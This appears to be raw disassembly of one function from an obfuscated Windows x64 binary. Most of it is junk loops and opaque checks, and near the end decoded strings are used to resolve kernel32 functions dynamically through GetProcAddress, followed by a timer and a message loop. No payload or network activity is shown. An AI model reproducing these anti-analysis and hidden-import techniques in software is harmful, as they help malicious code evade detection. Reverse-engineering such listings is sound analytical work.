movzx eax, byte [rsp + 0x8c]
test eax, eax
jne 0x1400b97a9
movzx eax, byte [rsp + 0xe0]
test eax, eax
je 0x1400b985e
mov dword [rsp + 0x30c], 0x17fed
mov dword [rsp + 0x6f4], 0
jmp 0x1400b97d1
mov eax, dword [rsp + 0x6f4]
inc eax
mov dword [rsp + 0x6f4], eax
cmp dword [rsp + 0x6f4], 0x31
jge 0x1400b97fb
cmp dword [rsp + 0x30c], 0
jge 0x1400b97e9
jmp 0x1400b97fb
mov eax, dword [rsp + 0x30c]
dec eax
mov dword [rsp + 0x30c], eax
jmp 0x1400b97c1
mov dword [rsp + 0x30c], 0x282b0
mov dword [rsp + 0x6f8], 0
cmp dword [rsp + 0x6f8], 0x3f
jge 0x1400b9859
movzx eax, byte [rsp + 0x8c]
test eax, eax
je 0x1400b9833
movzx eax, byte [rsp + 0x8c]
test eax, eax
jne 0x1400b983f
movzx eax, byte [rsp + 0x8d]
test eax, eax
jne 0x1400b9847
mov byte [rsp + 0x8d], 0
mov eax, dword [rsp + 0x6f8]
inc eax
mov dword [rsp + 0x6f8], eax
jmp 0x1400b9811
jmp 0x1400b9a0e
lea rax, [rsp + 0xbd30]
mov rdi, rax
xor eax, eax
mov ecx, 0x10d8
rep stosb byte [rdi], al
mov dword [rsp + 0x310], 0
jmp 0x1400b988f
mov eax, dword [rsp + 0x310]
inc eax
mov dword [rsp + 0x310], eax
movsxd rax, dword [rsp + 0x310]
cmp rax, 0xb
jae 0x1400b98ee
mov dword [rsp + 0x314], 0
jmp 0x1400b98ba
mov eax, dword [rsp + 0x314]
inc eax
mov dword [rsp + 0x314], eax
cmp dword [rsp + 0x314], 0x62
jge 0x1400b98ec
movsxd rax, dword [rsp + 0x310]
imul rax, rax, 0x188
lea rax, [rsp + rax + 0xbd30]
movsxd rcx, dword [rsp + 0x314]
mov dword [rax + rcx*4], 0x25c
jmp 0x1400b98aa
jmp 0x1400b987f
lea rax, [rsp + 0xce10]
mov rdi, rax
xor eax, eax
mov ecx, 0x10d8
rep stosb byte [rdi], al
mov dword [rsp + 0x318], 0
jmp 0x1400b991f
mov eax, dword [rsp + 0x318]
inc eax
mov dword [rsp + 0x318], eax
movsxd rax, dword [rsp + 0x318]
cmp rax, 0xb
jae 0x1400b997e
mov dword [rsp + 0x31c], 0
jmp 0x1400b994a
mov eax, dword [rsp + 0x31c]
inc eax
mov dword [rsp + 0x31c], eax
cmp dword [rsp + 0x31c], 0x62
jge 0x1400b997c
movsxd rax, dword [rsp + 0x318]
imul rax, rax, 0x188
lea rax, [rsp + rax + 0xce10]
movsxd rcx, dword [rsp + 0x31c]
mov dword [rax + rcx*4], 0x1fc8
jmp 0x1400b993a
jmp 0x1400b990f
lea rax, [rsp + 0x17b10]
mov rdi, rax
xor eax, eax
mov ecx, 0x10d8
rep stosb byte [rdi], al
mov dword [rsp + 0x320], 0
jmp 0x1400b99af
mov eax, dword [rsp + 0x320]
inc eax
mov dword [rsp + 0x320], eax
movsxd rax, dword [rsp + 0x320]
cmp rax, 0xb
jae 0x1400b9a0e
mov dword [rsp + 0x324], 0
jmp 0x1400b99da
mov eax, dword [rsp + 0x324]
inc eax
mov dword [rsp + 0x324], eax
cmp dword [rsp + 0x324], 0x62
jge 0x1400b9a0c
movsxd rax, dword [rsp + 0x320]
imul rax, rax, 0x188
lea rax, [rsp + rax + 0x17b10]
movsxd rcx, dword [rsp + 0x324]
mov dword [rax + rcx*4], 0x1777
jmp 0x1400b99ca
jmp 0x1400b999f
mov byte [rsp + 0x40e], 1
mov byte [rsp + 0x40f], 0
mov byte [rsp + 0x39], 0
movzx eax, byte [rsp + 0x39]
test eax, eax
je 0x1400b9ad9
mov dword [rsp + 0x328], 0x10ccf
mov dword [rsp + 0x6fc], 0
jmp 0x1400b9a58
mov eax, dword [rsp + 0x6fc]
inc eax
mov dword [rsp + 0x6fc], eax
cmp dword [rsp + 0x6fc], 0x1e
jge 0x1400b9a82
cmp dword [rsp + 0x328], 0
jge 0x1400b9a70
jmp 0x1400b9a82
mov eax, dword [rsp + 0x328]
dec eax
mov dword [rsp + 0x328], eax
jmp 0x1400b9a48
mov dword [rsp + 0x328], 0xeb966
mov dword [rsp + 0x700], 0
cmp dword [rsp + 0x700], 0x41
jge 0x1400b9ad4
movzx eax, byte [rsp + 0x39]
test eax, eax
je 0x1400b9ab4
movzx eax, byte [rsp + 0x39]
test eax, eax
jne 0x1400b9abd
movzx eax, byte [rsp + 0x39]
test eax, eax
jne 0x1400b9ac2
mov byte [rsp + 0x39], 1
mov eax, dword [rsp + 0x700]
inc eax
mov dword [rsp + 0x700], eax
jmp 0x1400b9a98
jmp 0x1400ba3aa
mov byte [rsp + 0x410], 1
mov byte [rsp + 0xe1], 1
mov byte [rsp + 0x3a], 1
movzx eax, byte [rsp + 0xe1]
test eax, eax
je 0x1400b9baf
movzx eax, byte [rsp + 0x3a]
test eax, eax
je 0x1400b9baf
mov dword [rsp + 0x32c], 0x3939
mov dword [rsp + 0x704], 0
jmp 0x1400b9b33
mov eax, dword [rsp + 0x704]
inc eax
mov dword [rsp + 0x704], eax
cmp dword [rsp + 0x704], 0x27
jge 0x1400b9b5d
cmp dword [rsp + 0x32c], 0
jge 0x1400b9b4b
jmp 0x1400b9b5d
mov eax, dword [rsp + 0x32c]
dec eax
mov dword [rsp + 0x32c], eax
jmp 0x1400b9b23
mov dword [rsp + 0x32c], 0xd2c06
mov dword [rsp + 0x708], 0
cmp dword [rsp + 0x708], 7
jge 0x1400b9baf
movzx eax, byte [rsp + 0x3a]
test eax, eax
je 0x1400b9b8f
movzx eax, byte [rsp + 0x3a]
test eax, eax
jne 0x1400b9b98
movzx eax, byte [rsp + 0x3a]
test eax, eax
jne 0x1400b9b9d
mov byte [rsp + 0x3a], 0
mov eax, dword [rsp + 0x708]
inc eax
mov dword [rsp + 0x708], eax
jmp 0x1400b9b73
mov byte [rsp + 0x411], 1
mov byte [rsp + 0xbf], 0
mov byte [rsp + 0x53], 1
mov byte [rsp + 0xe2], 0
movzx eax, byte [rsp + 0xbf]
test eax, eax
jne 0x1400b9bf1
movzx eax, byte [rsp + 0x53]
test eax, eax
jne 0x1400b9bf1
movzx eax, byte [rsp + 0xe2]
test eax, eax
je 0x1400b9c98
mov dword [rsp + 0x330], 0xd6b6
mov dword [rsp + 0x70c], 0
jmp 0x1400b9c19
mov eax, dword [rsp + 0x70c]
inc eax
mov dword [rsp + 0x70c], eax
cmp dword [rsp + 0x70c], 0x1d
jge 0x1400b9c43
cmp dword [rsp + 0x330], 0
jge 0x1400b9c31
jmp 0x1400b9c43
mov eax, dword [rsp + 0x330]
dec eax
mov dword [rsp + 0x330], eax
jmp 0x1400b9c09
mov dword [rsp + 0x330], 0x20492
mov dword [rsp + 0x710], 0
cmp dword [rsp + 0x710], 0x21
jge 0x1400b9c98
movzx eax, byte [rsp + 0x53]
test eax, eax
je 0x1400b9c78
movzx eax, byte [rsp + 0xbf]
test eax, eax
jne 0x1400b9c81
movzx eax, byte [rsp + 0x53]
test eax, eax
jne 0x1400b9c86
mov byte [rsp + 0x53], 1
mov eax, dword [rsp + 0x710]
inc eax
mov dword [rsp + 0x710], eax
jmp 0x1400b9c59
mov byte [rsp + 0x412], 0
mov byte [rsp + 0x54], 0
mov byte [rsp + 0xc0], 1
movzx eax, byte [rsp + 0x54]
test eax, eax
jne 0x1400b9cc6
movzx eax, byte [rsp + 0xc0]
test eax, eax
je 0x1400b9d72
mov dword [rsp + 0x334], 0xe7ac
mov dword [rsp + 0x714], 0
jmp 0x1400b9cee
mov eax, dword [rsp + 0x714]
inc eax
mov dword [rsp + 0x714], eax
cmp dword [rsp + 0x714], 2
jge 0x1400b9d18
cmp dword [rsp + 0x334], 0
jge 0x1400b9d06
jmp 0x1400b9d18
mov eax, dword [rsp + 0x334]
dec eax
mov dword [rsp + 0x334], eax
jmp 0x1400b9cde
mov dword [rsp + 0x334], 0x79a0f
mov dword [rsp + 0x718], 0
cmp dword [rsp + 0x718], 0x37
jge 0x1400b9d6d
movzx eax, byte [rsp + 0x54]
test eax, eax
je 0x1400b9d4a
movzx eax, byte [rsp + 0x54]
test eax, eax
jne 0x1400b9d56
movzx eax, byte [rsp + 0xc0]
test eax, eax
jne 0x1400b9d5b
mov byte [rsp + 0x54], 0
mov eax, dword [rsp + 0x718]
inc eax
mov dword [rsp + 0x718], eax
jmp 0x1400b9d2e
jmp 0x1400b9e76
mov dword [rsp + 0xd80], 0x770d
mov dword [rsp + 0xd84], 0x5bda
mov dword [rsp + 0xd88], 0x16e77
mov dword [rsp + 0xd8c], 0xb00a
mov dword [rsp + 0xd90], 0x51b2
mov dword [rsp + 0xd94], 0x11b57
mov dword [rsp + 0xd98], 0x4d0c
mov dword [rsp + 0xd9c], 0x12ae6
mov dword [rsp + 0xda0], 0xcc51
mov dword [rsp + 0xda4], 0x16967
mov dword [rsp + 0xda8], 0xec08
mov dword [rsp + 0xdac], 0x14c31
mov dword [rsp + 0x338], 0
jmp 0x1400b9e13
mov eax, dword [rsp + 0x338]
inc eax
mov dword [rsp + 0x338], eax
movsxd rax, dword [rsp + 0x338]
cmp rax, 0xc
jae 0x1400b9e36
movsxd rax, dword [rsp + 0x338]
mov dword [rsp + rax*4 + 0xd80], 0x2256
jmp 0x1400b9e03
mov dword [rsp + 0x33c], 0
jmp 0x1400b9e53
mov eax, dword [rsp + 0x33c]
inc eax
mov dword [rsp + 0x33c], eax
movsxd rax, dword [rsp + 0x33c]
cmp rax, 0xc
jae 0x1400b9e76
movsxd rax, dword [rsp + 0x33c]
mov dword [rsp + rax*4 + 0xd80], 0x17b5
jmp 0x1400b9e43
mov byte [rsp + 0x413], 0
mov byte [rsp + 0x414], 0
mov byte [rsp + 0x415], 0
mov byte [rsp + 0x416], 1
mov byte [rsp + 0xe3], 0
mov byte [rsp + 0x8e], 1
mov byte [rsp + 0xc1], 0
mov byte [rsp + 0xc2], 1
movzx eax, byte [rsp + 0xe3]
test eax, eax
jne 0x1400b9ef2
movzx eax, byte [rsp + 0x8e]
test eax, eax
je 0x1400b9fa7
movzx eax, byte [rsp + 0xc1]
test eax, eax
je 0x1400b9fa7
movzx eax, byte [rsp + 0xc2]
test eax, eax
je 0x1400b9fa7
mov dword [rsp + 0x340], 0x1c65
mov dword [rsp + 0x71c], 0
jmp 0x1400b9f1a
mov eax, dword [rsp + 0x71c]
inc eax
mov dword [rsp + 0x71c], eax
cmp dword [rsp + 0x71c], 0x15
jge 0x1400b9f44
cmp dword [rsp + 0x340], 0
jge 0x1400b9f32
jmp 0x1400b9f44
mov eax, dword [rsp + 0x340]
dec eax
mov dword [rsp + 0x340], eax
jmp 0x1400b9f0a
mov dword [rsp + 0x340], 0x2cda0
mov dword [rsp + 0x720], 0
cmp dword [rsp + 0x720], 0x1b
jge 0x1400b9fa2
movzx eax, byte [rsp + 0x8e]
test eax, eax
je 0x1400b9f7c
movzx eax, byte [rsp + 0x8e]
test eax, eax
jne 0x1400b9f88
movzx eax, byte [rsp + 0xc1]
test eax, eax
jne 0x1400b9f90
mov byte [rsp + 0xc2], 0
mov eax, dword [rsp + 0x720]
inc eax
mov dword [rsp + 0x720], eax
jmp 0x1400b9f5a
jmp 0x1400ba3aa
mov byte [rsp + 0x417], 1
mov byte [rsp + 0x3b], 0
movzx eax, byte [rsp + 0x3b]
test eax, eax
je 0x1400ba06a
mov dword [rsp + 0x344], 0x3ad6
mov dword [rsp + 0x724], 0
jmp 0x1400b9fe9
mov eax, dword [rsp + 0x724]
inc eax
mov dword [rsp + 0x724], eax
cmp dword [rsp + 0x724], 6
jge 0x1400ba013
cmp dword [rsp + 0x344], 0
jge 0x1400ba001
jmp 0x1400ba013
mov eax, dword [rsp + 0x344]
dec eax
mov dword [rsp + 0x344], eax
jmp 0x1400b9fd9
mov dword [rsp + 0x344], 0x9596a
mov dword [rsp + 0x728], 0
cmp dword [rsp + 0x728], 0x16
jge 0x1400ba065
movzx eax, byte [rsp + 0x3b]
test eax, eax
je 0x1400ba045
movzx eax, byte [rsp + 0x3b]
test eax, eax
jne 0x1400ba04e
movzx eax, byte [rsp + 0x3b]
test eax, eax
jne 0x1400ba053
mov byte [rsp + 0x3b], 1
mov eax, dword [rsp + 0x728]
inc eax
mov dword [rsp + 0x728], eax
jmp 0x1400ba029
jmp 0x1400ba196
lea rax, [rsp + 0x118b0]
mov rdi, rax
xor eax, eax
mov ecx, 0x18c0
rep stosb byte [rdi], al
mov dword [rsp + 0x348], 0
jmp 0x1400ba09b
mov eax, dword [rsp + 0x348]
inc eax
mov dword [rsp + 0x348], eax
movsxd rax, dword [rsp + 0x348]
cmp rax, 0xb
jae 0x1400ba100
mov dword [rsp + 0x34c], 0
jmp 0x1400ba0c6
mov eax, dword [rsp + 0x34c]
inc eax
mov dword [rsp + 0x34c], eax
cmp dword [rsp + 0x34c], 0x48
jge 0x1400ba0fe
movsxd rax, dword [rsp + 0x348]
imul rax, rax, 0x240
lea rax, [rsp + rax + 0x118b0]
movsxd rcx, dword [rsp + 0x34c]
movsd xmm0, qword [0x140124b60]
movsd qword [rax + rcx*8], xmm0
jmp 0x1400ba0b6
jmp 0x1400ba08b
lea rax, [rsp + 0x13170]
mov rdi, rax
xor eax, eax
mov ecx, 0x18c0
rep stosb byte [rdi], al
mov dword [rsp + 0x350], 0
jmp 0x1400ba131
mov eax, dword [rsp + 0x350]
inc eax
mov dword [rsp + 0x350], eax
movsxd rax, dword [rsp + 0x350]
cmp rax, 0xb
jae 0x1400ba196
mov dword [rsp + 0x354], 0
jmp 0x1400ba15c
mov eax, dword [rsp + 0x354]
inc eax
mov dword [rsp + 0x354], eax
cmp dword [rsp + 0x354], 0x48
jge 0x1400ba194
movsxd rax, dword [rsp + 0x350]
imul rax, rax, 0x240
lea rax, [rsp + rax + 0x13170]
movsxd rcx, dword [rsp + 0x354]
movsd xmm0, qword [0x140123338]
movsd qword [rax + rcx*8], xmm0
jmp 0x1400ba14c
jmp 0x1400ba121
mov byte [rsp + 0x418], 1
mov byte [rsp + 0x8f], 0
mov byte [rsp + 0xc3], 1
mov byte [rsp + 0xc4], 1
movzx eax, byte [rsp + 0x8f]
test eax, eax
jne 0x1400ba1de
movzx eax, byte [rsp + 0xc3]
test eax, eax
jne 0x1400ba1de
movzx eax, byte [rsp + 0xc4]
test eax, eax
je 0x1400ba28e
mov dword [rsp + 0x358], 0x59ee
mov dword [rsp + 0x72c], 0
jmp 0x1400ba206
mov eax, dword [rsp + 0x72c]
inc eax
mov dword [rsp + 0x72c], eax
cmp dword [rsp + 0x72c], 9
jge 0x1400ba230
cmp dword [rsp + 0x358], 0
jge 0x1400ba21e
jmp 0x1400ba230
mov eax, dword [rsp + 0x358]
dec eax
mov dword [rsp + 0x358], eax
jmp 0x1400ba1f6
mov dword [rsp + 0x358], 0x8f85f
mov dword [rsp + 0x730], 0
cmp dword [rsp + 0x730], 0x3a
jge 0x1400ba28e
movzx eax, byte [rsp + 0x8f]
test eax, eax
je 0x1400ba268
movzx eax, byte [rsp + 0x8f]
test eax, eax
jne 0x1400ba274
movzx eax, byte [rsp + 0xc3]
test eax, eax
jne 0x1400ba27c
mov byte [rsp + 0xc4], 0
mov eax, dword [rsp + 0x730]
inc eax
mov dword [rsp + 0x730], eax
jmp 0x1400ba246
mov byte [rsp + 0x419], 0
mov byte [rsp + 0x41a], 0
mov byte [rsp + 0x41b], 0
mov byte [rsp + 0x41c], 0
mov byte [rsp + 0x41d], 0
mov byte [rsp + 0x90], 1
mov byte [rsp + 0xc6], 0
mov byte [rsp + 0xc5], 1
movzx eax, byte [rsp + 0x90]
test eax, eax
jne 0x1400ba2fa
movzx eax, byte [rsp + 0xc6]
test eax, eax
je 0x1400ba3aa
movzx eax, byte [rsp + 0xc5]
test eax, eax
je 0x1400ba3aa
mov dword [rsp + 0x35c], 0x1cdb
mov dword [rsp + 0x734], 0
jmp 0x1400ba322
cmp dword [rsp + 0x734], 0x19
jge 0x1400ba34c
mov byte [rsp + 0x41e], 1
mov byte [rsp + 0x41f], 1
mov byte [rsp + 0xc8], 1
mov byte [rsp + 0xc7], 1
mov byte [rsp + 0x91], 0
movzx eax, byte [rsp + 0xc8]
test eax, eax
je 0x1400ba4b2
movzx eax, byte [rsp + 0xc7]
test eax, eax
je 0x1400ba4b2
movzx eax, byte [rsp + 0x91]
test eax, eax
je 0x1400ba4b2
mov dword [rsp + 0x360], 0x13393
mov dword [rsp + 0x73c], 0
jmp 0x1400ba42a
mov eax, dword [rsp + 0x73c]
inc eax
mov dword [rsp + 0x73c], eax
cmp dword [rsp + 0x73c], 4
jge 0x1400ba454
cmp dword [rsp + 0x360], 0
jge 0x1400ba442
jmp 0x1400ba454
mov eax, dword [rsp + 0x360]
dec eax
mov dword [rsp + 0x360], eax
jmp 0x1400ba41a
mov dword [rsp + 0x360], 0x359d6
mov dword [rsp + 0x740], 0
cmp dword [rsp + 0x740], 0x31
jge 0x1400ba4b2
movzx eax, byte [rsp + 0xc7]
test eax, eax
je 0x1400ba48c
movzx eax, byte [rsp + 0x91]
test eax, eax
jne 0x1400ba498
movzx eax, byte [rsp + 0x91]
test eax, eax
jne 0x1400ba4a0
mov byte [rsp + 0xc8], 1
mov eax, dword [rsp + 0x740]
inc eax
mov dword [rsp + 0x740], eax
jmp 0x1400ba46a
mov byte [rsp + 0x420], 0
mov byte [rsp + 0x421], 0
movsd xmm0, qword [rsp + 0xae0]
comisd xmm0, xmmword [0x140125c78]
ja 0x1400ba527
lea rax, [rsp + 0xe4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0xe4]
call fcn.1400bb630
mov qword [rsp + 0xae8], rax
lea rcx, [rsp + 0xca0]
call fcn.1400bc340
mov rcx, qword [rsp + 0xae8]
mov rdx, rcx
mov rcx, rax
call fcn.140107dc0
test rax, rax
jne 0x1400bb587
lea rax, [rsp + 0xe5]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0xe5]
call fcn.1400bb690
mov qword [rsp + 0xaf0], rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, qword [rsp + 0xaf0]
mov rdx, rcx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400ba5a6
lea rcx, [rsp + 0x422]
call fcn.1400f7470
mov qword [rsp + 0xaf8], rax
mov qword [rsp + 0xaf8], 0
mov eax, 1
jmp 0x1400bb58d
mov dword [rsp + 0xc88], 0xe5924a8d
mov dword [rsp + 0xc8c], 0xcdecdc10
mov dword [rsp + 0xc90], 0xe3bbf183
lea r9, [0x1400bb710]
mov r8d, 0x3a98
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetTimer]
nop
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0xc58]
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x1400ba61a
lea rcx, [rsp + 0xc58]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0xc58]
call qword [sym.imp.USER32.dll_DispatchMessageW]
nop
jmp 0x1400ba61a
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x900], rax
lea rax, [rsp + 0x9e30]
mov rdi, rax
xor eax, eax
mov ecx, 0xf78
rep stosb byte [rdi], al
mov dword [rsp + 0x364], 0
jmp 0x1400ba659
movsxd rax, dword [rsp + 0x364]
cmp rax, 9
jae 0x1400ba6b8
mov dword [rsp + 0x368], 0
jmp 0x1400ba684
cmp dword [rsp + 0x368], 0x6e
jge 0x1400ba6b6
movsxd rax, dword [rsp + 0x364]
imul rax, rax, 0x1b8
lea rax, [rsp + rax + 0x9e30]
movsxd rcx, dword [rsp + 0x368]
mov dword [rax + rcx*4], 0x205a
jmp 0x1400ba674
jmp 0x1400ba649
lea rax, [rsp + 0xadb0]
mov rdi, rax
xor eax, eax
mov ecx, 0xf78
rep stosb byte [rdi], al
mov dword [rsp + 0x36c], 0
jmp 0x1400ba6e9
movsxd rax, dword [rsp + 0x36c]
cmp rax, 9
jae 0x1400ba748
mov dword [rsp + 0x370], 0
jmp 0x1400ba714
movzx edx, byte [rsp + 0xe7]
lea rcx, [rsp + 0x900]
call fcn.140088090
call fcn.140089670
lea rax, [rsp + 0x1bac0]
mov rdi, rax
xor eax, eax
mov ecx, 0xcc0
rep stosb byte [rdi], al
mov dword [rsp + 0x374], 0
jmp 0x1400ba793
jmp 0x1400bb58b
xor eax, eax
mov rcx, qword [rsp + 0x1d4b0]
xor rcx, rsp
call fcn.140108720
add rsp, 0x1d4c8
pop rdi
pop rsi
ret